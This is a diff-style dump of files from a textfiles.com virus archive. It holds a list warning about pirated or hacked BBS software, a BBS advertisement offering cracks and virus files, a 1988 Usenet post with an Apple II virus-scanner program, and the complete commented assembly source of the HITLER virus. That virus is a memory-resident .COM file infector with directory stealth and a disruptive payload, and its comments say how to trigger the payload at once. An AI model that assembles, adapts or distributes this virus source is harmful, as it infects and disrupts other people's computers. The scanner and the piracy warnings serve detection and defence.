one person gains someone else must lose.
|
||||
That's why this type of letter is
|
||||
illegal.
|
||||
MONOPOLY MG Finally I am SURE that this file
|
||||
violates Parker Brother's rights
|
||||
to the famous boardgame. Don Gibson has
|
||||
agreed that monopoly should NOT be
|
||||
distributed anymore, so SysOps, please
|
||||
remove this file from your download
|
||||
directories.
|
||||
|
||||
MOVBASIC or MU This highly illegal file, sometimes also
|
||||
SBASICA called SBASICA, breaks IBM's copyright
|
||||
on BASIC and BASICA. It creates new
|
||||
files called SBASIC or SBASICA that run
|
||||
"IBM BASIC" on an IBM clone. C'mon,
|
||||
don't you think that these clones don't
|
||||
run IBM BASICA for a good reason? The
|
||||
clones don't support BASICA because it's
|
||||
illegal! This file comes with Alloy's
|
||||
PC-Slave card. Alloy has a license
|
||||
agreement, and users of the PC-Slave are
|
||||
allowed to create copies of IBM BASIC
|
||||
for themselves. NO ONE ELSE IS. Stop
|
||||
complaining that this file is legal,
|
||||
people; this is one of the more blatent
|
||||
cases of piracy that I've seen.
|
||||
|
||||
NEWARKR.EXE H Phil Katz's PKWare Package with all
|
||||
references to the PKWare license removed.
|
||||
|
||||
PKXARC36.EXE H Phil Katz's PKXARC 3.5 patched to read
|
||||
3.6
|
||||
|
||||
PKXARC53.EXE H Phil Katz's PKXARC 3.5 patched to read
|
||||
5.3
|
||||
|
||||
QMDM110.ARC H This is version 1.09 of Qmodem patched
|
||||
to read 1.10. There have been rumors of
|
||||
a worm in 1.10, but I have seen no
|
||||
evidence of it. Other versions are OK.
|
||||
|
||||
XTALK MP Like Copywrite, there is a patch
|
||||
circulating BBS's to remove the serial
|
||||
numbers from Crosstalk.
|
||||
|
20
textfiles.com/virus/hate.txt
Normal file
20
textfiles.com/virus/hate.txt
Normal file
@@ -0,0 +1,20 @@
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"That which does not kill/ Immortal \"Teenagers by definition, <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> us makes us stronger." / Hate \ don't fit into society" <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +Immortal Hate BBS +450+ Cracks/Cheats/Docs <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +806.xXx.xxxx +School/Term Papers <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +24 hours +cDc Files <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +12oo-14.4 bps +Series Text Files <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +Renegade 4-16 +UFO/JFK/Conspiracy <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +H/P/C/V +Song Lyrics <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +CCi net +MUDnet <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +2100 Text Files +All Major/Minor 'Zines <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> +300+ Virus/Utils/Text +NO Ratios for LD <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> VIRaXe World Headquarters <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> F.U.C.K. World Headquarters <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> Sysops: Damanstian & Max Headroom <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> Don't call because we hate you...we hate everyone equally <20><><EFBFBD><EFBFBD>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
|
159
textfiles.com/virus/hatedetect.vir
Normal file
159
textfiles.com/virus/hatedetect.vir
Normal file
@@ -0,0 +1,159 @@
|
||||
From: Chip Welch (chipw@pro-newfrontier.UUCP)
|
||||
Subject: Virus Detection Program
|
||||
Newsgroups: comp.sys.apple
|
||||
Date: 1988-07-28 17:34:43 PST
|
||||
|
||||
Here is a Virus detection program that just appeared on GEnie. It will scan
|
||||
all SYS programs on a disk and check for the CyberAIDS/Festering Hate virus.
|
||||
|
||||
------------Applesoft Program follows:-----------------
|
||||
|
||||
100 REM This program detects ProDOS 8 SYS files
|
||||
101 REM that have been infected with the
|
||||
102 REM viruses known as:
|
||||
105 REM * CyberAIDS
|
||||
106 REM * Festering Hate
|
||||
120 REM
|
||||
121 REM If you find an infected program in your
|
||||
122 REM library, the safest thing to do is to
|
||||
123 REM delete it and replace it with an
|
||||
124 REM uninfected back up.
|
||||
130 REM
|
||||
131 REM Written by Tom Weishaar, July 1988
|
||||
132 REM Inspiration by Dennis Doms and Eric Mueller
|
||||
133 REM
|
||||
900 D$ = CHR$ (4)
|
||||
910 DIM F$(300,1)
|
||||
1000 TEXT : HOME : PRINT CHR$ (21)
|
||||
1001 INVRSE
|
||||
1002 PRINT ": APPLE II VIRUS SCANNER: V 1.0 :"
|
||||
1003 NORMAL
|
||||
1004 PRINT
|
||||
1005 PRINT " COPYRIGHT 1988 BY"
|
||||
1006 PRINT " TOM WEISHAAR, OPEN-APPLE/GENIE"
|
||||
1007 PRINT
|
||||
1008 PRINT "FOR THE LATEST VERSION OF THIS PROGRAM,"
|
||||
1009 PRINT "CHECK OUT CAT 40 IN GENIE'S A2 LIBRARY."
|
||||
1010 PRINT
|
||||
1011 PRINT "FREEWARE: MAY BE COPIED AND DISTRIBUTED"
|
||||
1012 PRINT " AS LONG AS NO MODIFICATIONS ARE MADE."
|
||||
1013 PRINT
|
||||
1014 PRINT " PRESS <RETURN> ALONE TO QUIT."
|
||||
1015 PRINT : PRINT : PRINT
|
||||
1020 REM get slot
|
||||
1021 PRINT "SCAN DISK DEVICE IN WHICH SLOT? ";
|
||||
1022 INPUT "";S$: IF S$ = "" THEN PRINT D$;"BYE"
|
||||
1023 S = VAL (S$):
|
||||
1024 IF S < 1 OR S > 7 THEN PRINT CHR$ (7): GOTO 1020
|
||||
1040 REM get drive
|
||||
1041 PRINT " IN WHICH DRIVE? ";
|
||||
1042 INPUT "";DR$: IF DR$ = "" THEN 1020
|
||||
1043 D = VAL (DR$):
|
||||
1044 IF D < 1 OR D > 2 THEN PRINT CHR$ (7): GOTO 1040
|
||||
1100 REM start disk scan
|
||||
1110 ONERR GOTO 1190
|
||||
1120 PRINT D$;"PREFIX,S";S;",D";D
|
||||
1121 PRINT D$;"PREFIX"
|
||||
1122 INPUT F$: GOSUB 4000:F$(0,0) = F$:F$(0,1) = "DIR"
|
||||
1123 POKE 216,0
|
||||
1130 PRINT : PRINT "CHECKING ";F$(0,0)
|
||||
1131 PRINT "THIS MAY TAKE AWHILE....": PRINT
|
||||
1140 PRINT D$;"BLOAD ";F$(0,0);",TDIR,A$300,B511,L1"
|
||||
1141 IF PEEK (768) = 0 THEN 1150
|
||||
1142 PRINT "CAUTION: VIRUS COUNTER ON THIS DISK="; PEEK (768)
|
||||
1150 REM clear F$(x,x) array
|
||||
1151 FPNT = 1
|
||||
1152 IF F$(FPNT,1) = "" THEN GOTO 1154
|
||||
1153 F$(FPNT,1) = "":FPNT = FPNT + 1: GOTO 1152
|
||||
1154 FPNT = 0:DIRPNT = 1:NSYS = 0: GOTO 1200
|
||||
1190 REM handle no device connected error
|
||||
1191 IF PEEK (222) < > 3 AND PEEK (222) < > 8 THEN 9900
|
||||
1192 CALL - 3288
|
||||
1193 PRINT CHR$ (7)
|
||||
1194 IF PEEK (222) = 3 THEN PRINT "NO DEVICE AT SLOT ";S;", DRIVE ";D
|
||||
1195 IF PEEK (222) = 8 THEN PRINT "I/O ERROR AT SLOT ";S;", DRIVE ";D
|
||||
1196 PRINT
|
||||
1197 POKE 216,0: GOTO 1020
|
||||
1200 REM main loop
|
||||
1210 IF F$(FPNT,1) = "DIR" THEN GOSUB 2000:FPNT = FPNT + 1: GOTO 1210
|
||||
1220 IF F$(FPNT,1) = "SYS" THEN GOSUB 3000:FPNT = FPNT + 1: GOTO 1210
|
||||
1230 PRINT : IF NSYS THEN M$ = "MORE "
|
||||
1240 PRINT "NO ";M$;"SYS FILES ON THIS DISK. ";
|
||||
1250 M$ = ""
|
||||
1260 INPUT "";A$
|
||||
1270 GOTO 1000
|
||||
2000 REM search a directory for DIR and SYS files
|
||||
2010 ONERR GOTO 2900
|
||||
2011 PRINT D$;"OPEN ";F$(FPNT,0);" ,TDIR"
|
||||
2012 PRINT D$;"READ ";F$(FPNT,0)
|
||||
2013 INPUT F$: IF LEN (F$) < 40 THEN 2013
|
||||
2014 INPUT F$
|
||||
2100 REM search directory loop
|
||||
2110 INPUT F$: ON F$ = "" GOTO 2910
|
||||
2111 DIR$ = MID$ (F$,18,3):F$ = MID$ (F$,2,16)
|
||||
2112 GOSUB 4000
|
||||
2120 F$(DIRPNT,0) = F$(FPNT,0) + "/" + F$
|
||||
2130 IF DIR$ = "DIR" THEN F$(DIRPNT,1) = "DIR":DIRPNT = DIRPNT + 1
|
||||
2140 IF DIR$ = "SYS" THEN F$(DIRPNT,1) = "SYS":DIRPNT = DIRPNT + 1
|
||||
2150 GOTO 2110
|
||||
2900 REM handle end-of-file error
|
||||
2901 IF PEEK (222) < > 5 THEN 9900
|
||||
2902 CALL - 3288
|
||||
2910 POKE 216,0
|
||||
2911 PRINT D$;"CLOSE"
|
||||
2912 RETURN
|
||||
3000 REM do virus check on a SYS file
|
||||
3005 ONERR GOTO 3900
|
||||
3010 PRINT D$;"BLOAD";F$(FPNT,0);",A$300,L6,B0,TSYS"
|
||||
3020 DETECT = 1:NSYS = NSYS + 1:TTL = 0
|
||||
3030 FOR ADR = 771 TO 773
|
||||
3031 :TTL = TTL + PEEK (ADR): IF TTL > 256 THEN TTL = TTL - 256
|
||||
3032 NEXT
|
||||
3040 IF TTL < > 57 THEN 3700
|
||||
3050 ADR = ( PEEK (769) + ( PEEK (770) * 256)) - 8192
|
||||
3060 PRINT D$;"BLOAD";F$(FPNT,0);",A$300,L4,B";ADR;",TSYS"
|
||||
3070 IF PEEK (768) < > 32 THEN DETECT = 0
|
||||
3071 IF PEEK (769) < > 88 THEN DETECT = 0
|
||||
3072 IF PEEK (770) < > 255 THEN DETECT = 0
|
||||
3073 IF PEEK (771) < > 186 THEN DETECT = 0
|
||||
3690 ON DETECT GOTO 3800
|
||||
3700 REM no virus in this file
|
||||
3710 PRINT "OK: ";F$(FPNT,0)
|
||||
3720 POKE 216,0: RETURN
|
||||
3800 REM file appears infected
|
||||
3810 DCNT = DCNT + 1
|
||||
3820 PRINT CHR$ (7)
|
||||
3822 PRINT F$(FPNT,0);" APPEARS INFECTED."
|
||||
3825 PRINT " DELETE IT? (Y/N) ";
|
||||
3830 GET A$: PRINT A$: PRINT
|
||||
3840 IF A$ = "Y" OR A$ = "y" THEN GOSUB 3860
|
||||
3850 POKE 216,0: RETURN
|
||||
3860 REM delete current file
|
||||
3870 PRINT D$;"UNLOCK";F$(FPNT,0)
|
||||
3880 PRINT D$;"DELETE";F$(FPNT,0)
|
||||
3890 RETURN
|
||||
3900 REM handle end-of-file error
|
||||
3901 IF PEEK (222) < > 5 THEN 9900
|
||||
3902 CALL - 3288
|
||||
3903 DETECT = 0: GOTO 3200
|
||||
4000 REM delete trailing spaces & slash in F$
|
||||
4010 FOR I = LEN (F$) TO 2 STEP - 1
|
||||
4020 IF MID$ (F$,I,1) = " " OR MID$ (F$,I,1) = "/" THEN F$ = LEFT$ (F$,I
|
||||
- 1)
|
||||
4030 NEXT
|
||||
4040 RETURN
|
||||
9900 REM fatal error
|
||||
9910 PRINT "ERROR #"; PEEK (222);" IN LINE "; PEEK (218) + PEEK (219) * 256
|
||||
9920 END
|
||||
|
||||
I hope this will help to eliminate the viruses now existing. If you are
|
||||
writing programs, you should consider having your finished program check it's
|
||||
own End of File marker and notify the user if the length of the program has
|
||||
changed. Does anyone have any other suggestions on how to prevent Viruses
|
||||
when writing programs?
|
||||
|
||||
Apple ][ Forever!!!
|
||||
UUCP: crash!pro-newfrontier!chipw
|
||||
ARPA: crash!pro-newfrontier!chipw@nosc.mil
|
||||
INET: chipw@pro-newfrontier.cts.com
|
||||
GEnie: C.WELCH3 [Chip]
|
718
textfiles.com/virus/hitler.a86
Normal file
718
textfiles.com/virus/hitler.a86
Normal file
@@ -0,0 +1,718 @@
|
||||
;The HITLER virus: commented in a rough 'n' ready way by the
|
||||
;Crypt Newsletter staff for issue #11, January 1993.
|
||||
;The HITLER virus is a memory resident .COM infector which adds itself
|
||||
;to the end of infected files. HITLER employs
|
||||
;minimal directory stealth.
|
||||
;The minimal stealth allows the virus to subtract its file size from
|
||||
;infected targets when the user takes a look at them using "dir"
|
||||
;functions while the virus is in memory.
|
||||
;Most of HITLER's code is devoted to a huge data table which is a voice
|
||||
;sample of some nut shouting "HITLER." The virus ties the effect to
|
||||
;the timer tick function, but if you want to hear it immediately, change the
|
||||
;source were indicated. The resulting code will assemble under A86. On
|
||||
;execution the virus will lock the PC into the voice effect until reboot,
|
||||
;rendering it uninfective, if annoying. Not all PC's can generate the
|
||||
;HITLER sound effect - some will just buzz.
|
||||
|
||||
|
||||
call rakett ; recalculate offset
|
||||
old db '<27> <20>!<21>' ; virus identification marker
|
||||
rakett: pop bp
|
||||
push bp
|
||||
add bp,-103h
|
||||
|
||||
mov ax,42ABh ; check if virus installed
|
||||
int 21h
|
||||
jnc failed ; exit if here
|
||||
|
||||
cli
|
||||
mov ax,3521h
|
||||
int 21h ; get interrupt vector
|
||||
mov w [bp+offset old21],bx ; es:bx points to
|
||||
mov w [bp+offset old21+2],es ; interrupt handler
|
||||
|
||||
mov al,1Ch
|
||||
int 21h
|
||||
cli
|
||||
mov w [bp+offset old1C],bx ; access timer tick int.
|
||||
mov w [bp+offset old1C+2],es
|
||||
mov w [bp+offset teller],16380 ; stuff our value into
|
||||
sti ; "teller" buffer for
|
||||
; later
|
||||
call normalspeed ; eh?
|
||||
|
||||
mov si,ds
|
||||
std
|
||||
lodsb
|
||||
cld
|
||||
mov ds,si
|
||||
|
||||
xor bx,bx
|
||||
mov cx,pgf
|
||||
cmp b [bx],'Z'
|
||||
jne failed
|
||||
mov ax,[bx+3]
|
||||
sub ax,cx
|
||||
jc failed
|
||||
mov [bx+3],ax
|
||||
sub [bx+12h],cx
|
||||
mov es,[bx+12h]
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov di,100h
|
||||
mov si,bp
|
||||
add si,di
|
||||
mov cx,size
|
||||
rep movsb
|
||||
|
||||
push es
|
||||
pop ds
|
||||
mov ax,2521h
|
||||
mov dx,offset ni21 ; set int 21 route through virus
|
||||
int 21h
|
||||
mov al,1Ch
|
||||
mov dx,offset ni1C ; revector timer tick through
|
||||
int 21h ; virus
|
||||
|
||||
failed: push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
pop si
|
||||
mov di,100h
|
||||
push di
|
||||
movsw
|
||||
movsw
|
||||
movsb
|
||||
|
||||
mov cx,0FFh
|
||||
mov si,100h
|
||||
ret ; exit to host
|
||||
|
||||
|
||||
findFCB: popf
|
||||
call int21 ; look to virus "stealth"
|
||||
pushf ; routine, now that int 21
|
||||
or al,al ; comes through virus
|
||||
jnz backFCB
|
||||
call stealth
|
||||
backFCB: popf
|
||||
iret
|
||||
|
||||
stealth: push ax ; the following essentially massages the
|
||||
push bx ; file control block on directory scans,
|
||||
push dx ; subtracting the virus size from infected
|
||||
push es ; files before the user sees 'em
|
||||
|
||||
mov ah,2Fh ; get disk transfer address
|
||||
call int21 ;
|
||||
|
||||
cmp byte es:[bx],0FFh ; failed?
|
||||
jne normFCB ; no, everything still OK
|
||||
add bx,8
|
||||
normFCB: mov al,byte es:[bx+16h] ; retrieve seconds attribute
|
||||
and al,31 ; from observed file, if it's
|
||||
xor al,31 ; 31, the file is infected
|
||||
jnz shitFCB ; not 31 - file not infected
|
||||
mov ax,word es:[bx+1Ch]
|
||||
mov dx,word es:[bx+1Ch+2]
|
||||
sub ax,size ; subtract virus length from
|
||||
sbb dx,0 ; infected file
|
||||
jc shitFCB ; no files? exit
|
||||
mov word es:[bx+1Ch],ax
|
||||
mov word es:[bx+1Ch+2],dx
|
||||
shitFCB: ; restore everything as normal
|
||||
pop es
|
||||
pop dx
|
||||
pop bx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
ni21: pushf
|
||||
cmp ah,11h ; any user access of the file control
|
||||
je findFCB ; block must come through virus
|
||||
cmp ah,12h ; ditto for here
|
||||
je findFCB
|
||||
|
||||
cmp ax,42ABh ;
|
||||
jne not_42AB
|
||||
popf
|
||||
clc
|
||||
retf 2
|
||||
not_42AB:
|
||||
cmp ax,4B00h ; is a program being loaded?
|
||||
jne not_4B00 ; exit if not
|
||||
|
||||
call install_24 ; install critical error handler
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push bp
|
||||
|
||||
mov ax,4300h ; get file attributes of potential host
|
||||
call int21
|
||||
jc back1 ; failed? exit
|
||||
mov cs:old_attr,cx ; stash attributes here
|
||||
|
||||
test cl,4 ; is the potential host a system file?
|
||||
jnz back1 ; yes? so exit
|
||||
|
||||
mov ax,4301h ; set new file attributes, read or write
|
||||
xor cx,cx
|
||||
call int21
|
||||
jc back1 ; error? exit
|
||||
|
||||
push dx
|
||||
push ds
|
||||
call infect ; begin infection stuff
|
||||
pop ds
|
||||
pop dx
|
||||
|
||||
mov ax,4301h
|
||||
db 0B9h ;mov CX,...
|
||||
old_attr dw 0
|
||||
call int21
|
||||
|
||||
back1: ;go here if the attrib-get fails
|
||||
pop bp
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
call remove_24 ; normalize critical error handler
|
||||
|
||||
not_4B00:
|
||||
back: popf
|
||||
db 0EAh
|
||||
old21 dw 0,0
|
||||
|
||||
int21: pushf
|
||||
call dword ptr cs:old21
|
||||
ret
|
||||
|
||||
infect: mov ax,3D02h ; open host file with read/write access
|
||||
call int21
|
||||
jnc okay_open
|
||||
bad1: ret ; was there an error? exit
|
||||
okay_open: xchg bx,ax
|
||||
mov ax,5700h ; get file date and file time
|
||||
call int21
|
||||
push cx
|
||||
mov bp,sp
|
||||
push dx
|
||||
|
||||
mov ah,3Fh ; read first five bytes from potential host
|
||||
mov cx,5
|
||||
mov dx,offset old ; store them here
|
||||
push cs
|
||||
pop ds
|
||||
call int21
|
||||
jc close ; error, exit?
|
||||
cmp al,5 ; get the five bytes?
|
||||
jne close ; no, so exit
|
||||
|
||||
cmp word old[0],'MZ' ; is this an .EXE file?
|
||||
je close ; yes, so go away
|
||||
cmp word old[0],'ZM' ; double-check, is this an .EXE file?
|
||||
je close ; yes, so go away
|
||||
cmp old[0],0E9h ; does it start with a jump?
|
||||
jne infect1 ; no - infect!
|
||||
cmp word old[3],'<27>!' ; does it start with the HITLER virus
|
||||
jne infect1 ; marker? If no, infect!
|
||||
; (Boy, this fellow is careful!)
|
||||
close: pop dx
|
||||
pop cx
|
||||
mov ax,5701h ; reset file date and time
|
||||
call int21
|
||||
mov ah,3Eh ; close file
|
||||
call int21
|
||||
ret
|
||||
|
||||
infect1: mov ax,4202h ; reset pointer to end of file
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call int21
|
||||
|
||||
or dx,dx
|
||||
jnz close
|
||||
cmp ax,59000 ; compare .COMfile size to 59,000 bytes
|
||||
jae close ; greater than or equal? close file
|
||||
; HITLER is a big virus, so we don't want to
|
||||
dec ax ; exceed the DOS execution boundary for .COM
|
||||
dec ax ; files
|
||||
dec ax
|
||||
|
||||
mov word ptr putjmp[1],ax
|
||||
|
||||
mov ah,40h ; write HITLER to the target file
|
||||
mov cx,size ; length in CX
|
||||
mov dx,100h
|
||||
call int21
|
||||
jc close
|
||||
cmp ax,size ; again, we're being real careful
|
||||
jne close ; not to infect ourself
|
||||
|
||||
mov ax,4200h ; set file pointer to beginning of host
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call int21
|
||||
|
||||
mov ah,40h ; write the first five bytes of the
|
||||
mov cx,5 ; viral jump and ID strings to the
|
||||
mov dx,offset putjmp ; beginning of the host file
|
||||
call int21
|
||||
|
||||
or byte ss:[bp],31 ; set the seconds field to 31, so the
|
||||
; "stealth" routine has its cue
|
||||
jmp close ; close the file and clean up
|
||||
|
||||
putjmp db 0E9h
|
||||
dw 0
|
||||
db '!<21>'
|
||||
|
||||
install_24: pushf ; installation of critical error
|
||||
cli ; handler (no shit, Sherlock!)
|
||||
push bx
|
||||
push ds
|
||||
xor bx,bx
|
||||
mov ds,bx
|
||||
push ds
|
||||
lds bx,[24h*4]
|
||||
mov cs:old24[0],bx
|
||||
mov cs:old24[2],ds
|
||||
pop ds
|
||||
mov word [(24h*4)],offset ni24
|
||||
mov [(24h*4)+2],cs
|
||||
pop ds
|
||||
pop bx
|
||||
sti
|
||||
popf
|
||||
ret
|
||||
|
||||
remove_24: pushf ; remove it
|
||||
cli
|
||||
push bx
|
||||
push es
|
||||
push ds
|
||||
xor bx,bx
|
||||
mov ds,bx
|
||||
les bx,cs:old24[0]
|
||||
|
||||
mov [(24h*4)],bx
|
||||
mov [(24h*4)+2],es
|
||||
|
||||
pop ds
|
||||
pop es
|
||||
pop bx
|
||||
sti
|
||||
popf
|
||||
ret
|
||||
|
||||
errflag db 0
|
||||
|
||||
db 'Hitler Virus by Dreamer/DY',0 ; ID note by Dreamer of Demoralized
|
||||
; Youth
|
||||
ni24: mov al,3
|
||||
mov cs:errflag,1
|
||||
iret
|
||||
|
||||
old24 dw 0,0
|
||||
|
||||
xofs dw offset sample
|
||||
len equ 4131
|
||||
divisor equ 230
|
||||
teller dw 16380 ; "new" timer tick values for viral
|
||||
; trigger
|
||||
ni1C:
|
||||
cli
|
||||
pushf
|
||||
push ax
|
||||
push ds
|
||||
push si
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
; -lobotomize code from here to marker to get HITLER at start
|
||||
cmp teller,0 ; compare 0 with the value the virus
|
||||
je teller_ok ; stuffed into the timer tick interrupt
|
||||
dec teller ; if equal - do "HITLER!" thing, if not
|
||||
jmp noreset ; decrement the value
|
||||
; -bottom of lobotomy marker
|
||||
teller_ok: ; sound routine to the IBM internal speaker
|
||||
mov al,34h
|
||||
db 0E6h,43h ;out 43h,al
|
||||
mov al,divisor
|
||||
db 0E6h,40h ;out 40h,al
|
||||
mov al,0
|
||||
db 0E6h,40h ;out 40h,al
|
||||
|
||||
mov al,090h
|
||||
db 0E6h,43h ;out 43h,al
|
||||
mov si,xofs
|
||||
lodsb
|
||||
db 0E6h,42h ;out 42h,al
|
||||
|
||||
db 0E4h,61h ;in al,61h
|
||||
or al,3
|
||||
db 0E6h,61h ;out al,61h
|
||||
|
||||
inc xofs
|
||||
cmp xofs,len+offset sample ; points to the huge table at
|
||||
jb noreset ; the end of the virus, a
|
||||
mov xofs,offset sample ; .VOC sample of some nut
|
||||
noreset: ; shouting "HITLER!"
|
||||
sti
|
||||
pop si
|
||||
pop ds
|
||||
pop ax
|
||||
popf
|
||||
|
||||
db 0EAh
|
||||
old1C dw 0,0
|
||||
|
||||
normalspeed: cli
|
||||
push ax
|
||||
mov al,34h
|
||||
db 0E6h,43h
|
||||
mov al,0
|
||||
db 0E6h,40h
|
||||
db 0E6h,40h
|
||||
pop ax
|
||||
sti
|
||||
ret
|
||||
|
||||
sample:
|
||||
|
||||
|
||||
|
||||
|
||||
db 080h,080h,080h,080h,080h,081h,080h,081h,081h,081h,081h,081h,083h
|
||||
db 083h,083h,083h,083h,083h,083h,083h,083h,083h,081h,081h,081h,081h
|
||||
db 080h,080h,080h,080h,080h,080h,080h,080h,080h,080h,065h,000h,000h
|
||||
db 075h,08Ah,084h,083h,083h,089h,081h,081h,081h,07Ah,079h,07Ch,07Ah
|
||||
db 07Bh,07Ch,07Fh,07Ah,078h,079h,07Fh,07Bh,07Fh,07Dh,07Bh,07Ah,07Fh
|
||||
db 083h,08Ah,08Ch,088h,08Ah,085h,083h,089h,08Bh,080h,082h,07Fh,081h
|
||||
db 07Fh,082h,081h,08Bh,07Ah,074h,07Ch,07Eh,080h,07Fh,07Fh,083h,07Fh
|
||||
db 084h,082h,083h,080h,083h,081h,07Dh,07Eh,080h,083h,083h,07Dh,079h
|
||||
db 07Fh,084h,080h,07Bh,07Dh,07Fh,07Fh,07Ch,07Ah,07Dh,083h,081h,07Fh
|
||||
db 082h,080h,07Bh,07Fh,08Ah,08Bh,086h,085h,086h,083h,089h,089h,086h
|
||||
db 084h,07Dh,07Ch,07Eh,085h,086h,085h,086h,083h,081h,088h,087h,080h
|
||||
db 07Dh,081h,083h,081h,080h,07Ch,07Eh,076h,075h,07Bh,07Ah,075h,072h
|
||||
db 075h,06Fh,074h,07Eh,080h,07Fh,07Fh,07Fh,083h,087h,085h,084h,08Ah
|
||||
db 08Bh,086h,087h,08Ah,08Ah,08Ah,081h,081h,089h,084h,081h,07Ch,086h
|
||||
db 083h,084h,082h,07Fh,082h,07Fh,087h,086h,082h,080h,076h,07Ch,07Bh
|
||||
db 07Bh,082h,07Dh,07Eh,07Ah,07Fh,07Eh,085h,084h,082h,084h,07Eh,088h
|
||||
db 07Fh,088h,07Eh,07Fh,07Dh,077h,07Ch,075h,07Dh,078h,07Bh,079h,07Fh
|
||||
db 080h,084h,088h,081h,083h,087h,084h,087h,082h,089h,08Bh,08Fh,08Dh
|
||||
db 08Bh,087h,080h,083h,081h,08Ch,07Ah,082h,076h,07Fh,07Bh,07Ah,07Ah
|
||||
db 07Ch,077h,072h,077h,07Ch,07Fh,080h,07Eh,07Bh,07Dh,07Ah,080h,07Ch
|
||||
db 07Eh,076h,082h,082h,08Dh,089h,084h,085h,085h,086h,087h,089h,086h
|
||||
db 085h,08Ch,087h,090h,085h,07Ch,082h,083h,087h,07Ch,088h,07Bh,074h
|
||||
db 091h,085h,09Bh,086h,086h,070h,076h,079h,08Dh,080h,06Bh,063h,069h
|
||||
db 07Dh,067h,04Ch,081h,07Ah,0ABh,0A8h,09Ch,08Eh,060h,056h,07Fh,088h
|
||||
db 089h,075h,094h,08Ch,013h,092h,040h,0D7h,0B0h,097h,0C4h,036h,057h
|
||||
db 082h,0CBh,0C5h,09Dh,0C8h,00Dh,0A5h,026h,0A7h,072h,06Bh,0E0h,032h
|
||||
db 089h,07Ah,0A7h,0E4h,0D7h,048h,07Fh,034h,07Bh,054h,06Fh,0B6h,02Bh
|
||||
db 06Ah,055h,0ABh,0C0h,032h,09Fh,074h,06Fh,0A4h,043h,0B6h,040h,087h
|
||||
db 090h,095h,0FFh,060h,015h,074h,039h,0E0h,044h,0D7h,080h,027h,0C9h
|
||||
db 070h,0E7h,0F8h,025h,0AEh,009h,0ABh,050h,067h,0ACh,01Ch,0E3h,068h
|
||||
db 09Fh,0FFh,02Fh,0CEh,014h,09Fh,080h,023h,0C4h,056h,0D3h,075h,0AFh
|
||||
db 0F4h,035h,0A8h,000h,077h,040h,000h,09Ch,05Bh,0BBh,078h,0EBh,0D4h
|
||||
